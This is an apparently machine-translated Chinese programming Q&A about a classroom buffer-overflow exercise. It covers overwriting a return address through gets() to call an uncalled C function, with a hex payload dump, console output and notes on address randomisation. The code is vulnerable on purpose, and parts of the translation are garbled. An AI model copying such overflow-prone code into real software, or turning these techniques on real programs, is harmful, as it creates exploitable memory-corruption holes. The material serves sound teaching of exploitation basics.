所以我正在做一个练习,我想通过输入缓冲区来调用函数void not_called()。基本上我想要做的是使用缓冲区溢出来调用not_called()。我通过使用二进制漏洞字符串然后使用程序hex2raw接近这一点(采用十六进制格式然后将其转换为十进制数字的ASCII。)我然后将该二进制利用字符串放入.txt文件,然后使用unix终端中的一系列管道来调用not_called(),如下所示:
cat exploit.txt | ./hex2raw | ./nameofpgrm
所以我正在努力寻找二进制利用字符串。我想我需要做的是找到内存中用objdump调用not_called的位置,但我不确定。对我能做什么的任何帮助?我知道我将不得不使用gdb来找到它。我只是不知道在哪里看。
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '\0';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
答案 0 :(得分:1)
您希望使用从stdin读取的字节覆盖函数echo中的返回地址,以便现在指向not_called
入口点。
让我们使用例如Mac OS / X 10.10 aka Yosemite。我简化了代码并添加了一个额外的printf来获取函数not_called
的实际地址:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
让我们使用clang编译并执行此代码:
chqrlie> clang t20.c && ./a.out
输出很清楚:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
使用十六进制编辑器,让输入硬币并将其粘贴到控制台:短缓冲区buf
在64位上对齐,比保存的堆栈帧指针副本低8个字节{{1 },本身后跟我们要覆盖的返回地址。十六进制的输入例如是:
rbp
让我们将这24个字节粘贴到控制台并点击回车:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
函数0123456789012345P��^F^A^@^@^@
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
使用gets来读取stdin,24个字节存储在echo
的末尾之外,覆盖帧指针buf
,返回地址和额外的0字节。 rbp
然后调用echo
输出puts
中的字符串。输出在第一个&#34;&#39; \ 0&#39;&#34;正如所料。然后从堆栈中恢复buf
并获得损坏的值,控制转移到返回地址。返回地址被函数rbp
覆盖,以便接下来执行的操作。实际上,我们看到来自函数not_called
的消息,由于某种原因not_called
崩溃,而不是优雅地退出流程。
我故意使用exit
,因此读者了解使用此函数导致缓冲区溢出的容易程度。无论缓冲区有多大,输入都可以被创造出来以使程序崩溃或使它做有趣的事情。
另一个有趣的发现是Mac OS / X如何试图阻止攻击者过于轻松地使用这个技巧:程序打印的地址因执行而异:
gets
每次都会在不同的地址加载代码,随机选择。
使函数chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
返回echo
所需的输入每次都不同。尝试自己的操作系统并检查它是否使用此技巧。尝试创建适当的输入以完成工作(这取决于您的编译器和您的系统)。玩得开心!